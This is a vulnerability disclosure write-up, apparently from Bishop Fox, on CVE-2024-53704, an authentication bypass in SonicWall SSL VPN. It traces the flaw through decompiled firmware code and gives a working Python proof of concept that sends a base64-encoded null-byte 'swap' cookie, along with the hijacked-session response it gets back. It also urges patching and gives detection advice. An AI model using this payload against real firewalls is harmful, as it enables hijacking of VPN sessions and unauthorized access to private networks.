
TL;DR: Bishop Fox researchers successfully exploited CVE-2024-53704, an authentication bypass in unpatched SonicWall firewalls that allows remote attackers to hijack active SSL VPN sessions and gain unauthorized network access.
While the vulnerability required significant reverse engineering to uncover, the exploit itself is trivial, emphasizing the urgency for organizations to apply SonicWall’s January 2025 patches.
UPDATED: 2/10/2025 TO INCLUDE FULL EXPLOITATION DETAILS.
Summary
Bishop Fox researchers have successfully exploited CVE-2024-53704, an authentication bypass affecting the SSL VPN component of unpatched SonicWall firewalls. According to SonicWall, SonicOS versions 7.1.x (7.1.1-7058 and older), 7.1.2-7019, and 8.0.0-8035 are affected. The researchers confirmed that the attack can be performed remotely, without authentication, and enables hijacking of active SSL VPN client sessions.
An attacker with control of an active SSL VPN session can read the user’s Virtual Office bookmarks, obtain a client configuration profile for NetExtender, open a VPN tunnel, access private networks available to the hijacked account, and log out the session (terminating the user’s connection as well).
In the initial advisory for CVE-2024-53704, SonicWall reported no evidence of exploitation in the wild. Although significant reverse-engineering effort was required to find and exploit the vulnerability, the exploit itself is rather trivial.
Bishop Fox's responsible disclosure policy is to disclose details publicly 90 days from the date of vendor notification. The issue was reported to SonicWall by Daan Keuper, Thijs Alkemade and Khaled Nassar of Computest Security on November 5, 2024. SonicWall released patches on January 7, 2025. After allowing for a complete one-month patch cycle by affected customers, we are releasing the details of the exploit.
Identifying the Vulnerability
On its own, the initial advisory published by SonicWall on January 7 didn’t provide us with enough detail to hunt for the bug:
An Improper Authentication vulnerability in the SSLVPN authentication mechanism allows a remote attacker to bypass authentication.
Fortunately, two days later, Trend Micro’s Zero Day Initiative (ZDI) published their own advisory, which increased the CVSS score from 8.2 (High) to 9.8 (Critical), shared the date of the initial vendor notification (November 5, 2024) and added crucial information:
The specific flaw exists within the processing of Base64-encoded session cookies. The issue results from an incorrect implementation of an authentication algorithm. An attacker can leverage this vulnerability to bypass authentication on the system.
This information was detailed enough to give us a solid lead on finding the bug. We started by leveraging our previous research to decrypt and extract the sonicosv
binary from firmware versions 7.1.2-7019 and 7.1.3-7015. We then used BinDiff to generate a patch differential report, which included a large number of changed functions (too many to review manually).
To hone in on the vulnerability, we searched strings within the unpatched binary to find functions relevant to SSL VPN session cookies. The getSslvpnSessionFromCookie
function seemed particularly promising, so we traced cross-references to identify the functions where this string was used. We slowly dug through the web of function calls and cross-references, applying labels as we went to help us make sense of the code. Although symbols had been stripped from the binary, log messages were often used to identify the function names, so we could piece together an understanding of what the code was doing. This is what the getSslvpnSessionFromCookie
function looked like after naming its function calls:
02acb160 void* getSslvpnSessionFromCookie(char* cookie_string) 02acb160 { 02acb160 if (!cookie_string) 02acb222 return 0; 02acb171 uint64_t rax = strlen(cookie_string); 02acb17a if (rax == 32) 02acb17a { 02acb1af if (verifyCookieCheckSum(cookie_string, 32)) 02acb1be /* tailcall */ 02acb1be return maybe_verify_session(cookie_string, 1); 02acb17a } 02acb17a else if (rax == 44) 02acb180 { 02acb185 char* cookie_string_1 = wrap_b64decode(cookie_string); 02acb190 if (cookie_string_1) 02acb190 { 02acb1d0 if (verifyCookieCheckSum(cookie_string_1, 32)) 02acb1d7 { 02acb1f8 void* result = maybe_verify_session(cookie_string_1, 1); 02acb211 maybe_free_mem(cookie_string_1, "getSslvpnSessionFromCookie", 0x1fa); 02acb216 return result; 02acb1d7 } 02acb1e8 maybe_free_mem(cookie_string_1, "getSslvpnSessionFromCookie", 0x201); 02acb190 } 02acb180 } 02acb192 return nullptr; 02acb160 }
The logic then started to emerge: the getSslvpnSessionFromCookie
function takes a cookie string as input, checks its length, and parses it in one of two ways. If it is 32 characters, it verifies a checksum and then tries to associate the cookie with an active session; if it is 44 characters, it first base64-decodes it (to 32 characters) and then performs the same checks as in the first case. This looked very promising, as it aligned with the details in the ZDI advisory.
We checked the starting address of each of these functions against those in BinDiff to identify which ones were changed in the patched version. In this manner, we confirmed that the function we labeled as maybe_verify_session
had changed:

A closer look at the changes revealed updates to the comparison logic that looked like what we would expect from a vulnerability patch:

We then dug into the pseudo-C code interpreted by our decompiler to understand what the function was doing, and again applied an iterative process of labeling function calls and variables until we could get a clearer picture. Let’s break it down step by step:
02acc210 void* maybe_verify_session(char* cookie_string, int32_t session_idx) 02acc210 { 02acc210 if (!cookie_string) 02acc2ee return 0; 02acc23b void* session = **(uint64_t**)(&data_6828180 + (uint64_t)session_idx * 56);
The function starts off by making sure the pointer to the cookie string isn’t null, then it calculates the location on the stack where session data is held (using an index passed in as the second input parameter). If it retrieves session data successfully, it goes into a loop to verify that the cookie string and the session ID match:
02acc2b3 label_2acc2b3: 02acc2b3 return session; ...omitted for brevity... 02acc26e if (session) 02acc26e { 02acc270 while (true) 02acc270 { 02acc270 int64_t idx = 0; 02acc278 while (true) 02acc278 { 02acc278 char cookie_char = cookie_string[idx]; 02acc27e if (cookie_char) 02acc27e { 02acc280 char session_id_char = *(uint8_t*)((char*)session + idx + 28); 02acc288 if (session_id_char) 02acc288 { 02acc28c if (cookie_char != session_id_char) 02acc28c break; 02acc28e idx += 1; 02acc296 if (idx != ' ') 02acc296 continue; 02acc288 } 02acc27e } 02acc2a4 j_sub_333fec0(rdi); 02acc2a4 goto label_2acc2b3; 02acc278 } 02acc2b8 session = *(uint64_t*)((char*)session + 8); 02acc2c0 if (!session) 02acc2c0 break; 02acc270 } 02acc26e } 02acc2d1 j_sub_333fec0(rdi); 02acc2e0 return 0;
If they do, the function takes a jump that returns the session ID; otherwise, it returns 0. Can you spot the logic flaw? Here it is:
02acc27e if (cookie_char) 02acc27e { ...omitted for brevity... 02acc27e } 02acc2a4 j_sub_333fec0(rdi); 02acc2a4 goto label_2acc2b3; # return session;
There is no else
clause after the if
statement, so if the loop runs into a null character in the cookie string, it simply skips validation and jumps to returning the session ID. Assuming that it was possible to input null bytes in a base64-encoded cookie, we were confident that we had found the authentication bypass!
Building the Exploit
Next, we needed to find an attack vector. To approach this, we started by searching for functions that called the getSslvpnSessionFromCookie
function. We found 21 of them but ran into difficulty tracing them to determine which ones connected to sources with user-controllable input.
Hoping to shortcut the process a bit, we pivoted to dynamic analysis. In a lab environment, we configured a VPN user and confirmed that the user could log in to Virtual Office. We then started poking around to see what API calls the frontend made to the backend. Unfortunately, this led us down the wrong path, as we observed the web-based Virtual Office using JSON web tokens (JWT) for session authorization instead of the 32- or 44-character cookies expected from our reverse engineering.
We then turned to NetExtender (SonicWall’s SSL VPN client) and, after a failed attempt to intercept the authentication traffic between client and server, we discovered nxBender, a third-party Python client that replicates the NetExtender protocol. This turned out to be the break we needed, as analyzing the nxBender code revealed the authentication flow and the corresponding server paths:
- Send POST request to
/cgi-bin/userLogin
with username, password, domain, andlogin=true
in the POST body - Receive server response containing
Set-Cookie
header with a base64-encoded value for theswap
cookie - Send GET request to
/cgi-bin/sslvpnclient?launchplatform=
with theswap
cookie in the request header - Receive server response containing
Set-Cookie
header with the decodedswap
cookie value (the user’s session ID), thereby confirming that the session is valid
After the initial POST request to the login endpoint, the swap
cookie was used to authenticate all subsequent actions, so it seemed like the injection point we needed for our auth bypass exploit. We searched for the string /cgi-bin/userLogin
within the unpatched sonicosv
binary and examined cross-references to identify the nxAuthenticate
function as the source for our attack. We found the nxSendAuthResponse
function among its calls, which in turn calls the getSslvpnSessionFromCookie
function, hence confirming it was a viable attack path.

Putting together what we had learned of the attack, the payload seemed simple enough – all we had to do was base64-encode 32 null characters and send it as the swap
cookie value in a GET request to /cgi-bin/sslvpnclient?launchplatform=
. The following Python script did the trick:
import base64, requests, urllib3, warnings warnings.filterwarnings("ignore", category=urllib3.exceptions.InsecureRequestWarning) resp = requests.get( "https://192.168.50.189:4433/cgi-bin/sslvpnclient?launchplatform=", cookies={"swap": base64.b64encode(b"\x00" * 32).decode()}, verify=False ) print(resp.headers) print(resp.body)
Here are the response headers we received from our test target:
{'Server': 'SonicWALL SSLVPN Web Server', 'Set-Cookie': 'swap=jelislitadivispawravigidefraswee; path=/;', 'Connection': 'close', 'Content-Type': 'text/html; charset=UTF-8'}
The swap
cookie was included, indicating we had been given the session ID belonging to an active session. The response body included a connection profile for NetExtender:
<p><html><head><title>SonicWALL - Virtual Office</title><meta http-equiv='pragma' content='no-cache'><meta http-equiv='cache-control' content='no-cache'><meta http-equiv='cache-control' content='must-revalidate'><meta http-equiv='Content-Type' content='text/html;charset=UTF-8'><link href='/styleblueblackgrey.css' rel=stylesheet type='text/css'><script>function neLauncherInit(){</p> <p>NELaunchX1.userName = "user";</p> <p>NELaunchX1.domainName = "LocalDomain";</p> <p>SessionId = QkMO6MFoLUdjNiCNLyakRw==;</p> <p>Route = 192.168.168.0/255.255.255.0</p> <p>ipv6Support = no</p> <p>pppFrameEncoded = 0;</p> <p>PppPref = async</p> <p>TunnelAllMode = 0;</p> <p>ExitAfterDisconnect = 0;</p> <p>UninstallAfterExit = 0;</p> <p>NoProfileCreate = 1;</p> <p>AllowSavePassword = 0;</p> <p>AllowSaveUser = 1;</p> <p>AllowSavePasswordInKeychain = 0</p> <p>AllowSavePasswordInKeystore = 0</p> <p>ClientIPLower = "192.168.168.169";</p> <p>ClientIPHigh = "192.168.168.200";</p> <p>}</script></head></html></p>
With that, we were able to identify the username and domain of the hijacked session, along with private routes the user was able to access through the SSL VPN. We performed additional tests and learned a few important things about the exploit:
- The session ID returned in the
swap
cookie is associated with the oldest active SSL VPN session - If there are no active SSL VPN sessions, the exploit fails (the server closes the connection with no response)
- If either the attacker or victim logs out of the session (by sending a GET request to
/cgi-bin/userLogout
with theswap
cookie), the session is terminated on the server and all parties immediately lose access - Other actions do not appear to interfere with the victim’s session
- Patched firewalls handle exploit attempts by dropping the connections without responding, which is consistent with the way all versions handle unauthorized requests
Because of these characteristics, we were unable to devise a test for the vulnerability that did not involve exploiting the target in question, however, we found that exploit attempts do not appear to have any adverse impacts, succeed or fail. (Of course, post-exploitation actions can certainly cause adverse impacts.)
Conclusion
As of February 7, 2025, our scans indicate approximately 4,500 internet-facing SonicWall SSL VPN servers remain unpatched against CVE-2024-53704. If you have not yet upgraded your SonicWall firewalls to the latest available firmware, please follow SonicWall’s advice and upgrade immediately.
Detecting exploitation of this vulnerability is not straightforward because of the characteristics we described above. With a custom logging configuration, a firewall administrator may be able to correlate access logs from multiple source IP addresses to a single SSL VPN session, which may provide evidence of session hijacking if one of the source IPs is associated with other suspicious or malicious behavior.
As always, customers of Bishop Fox Cosmos were notified shortly after the vulnerability was announced.
For more vulnerability intelligence insights, visit Bishop Fox Labs.
Subscribe to our blog and advisories
Be first to learn about latest tools, advisories, and findings.
Thank You! You have been subscribed.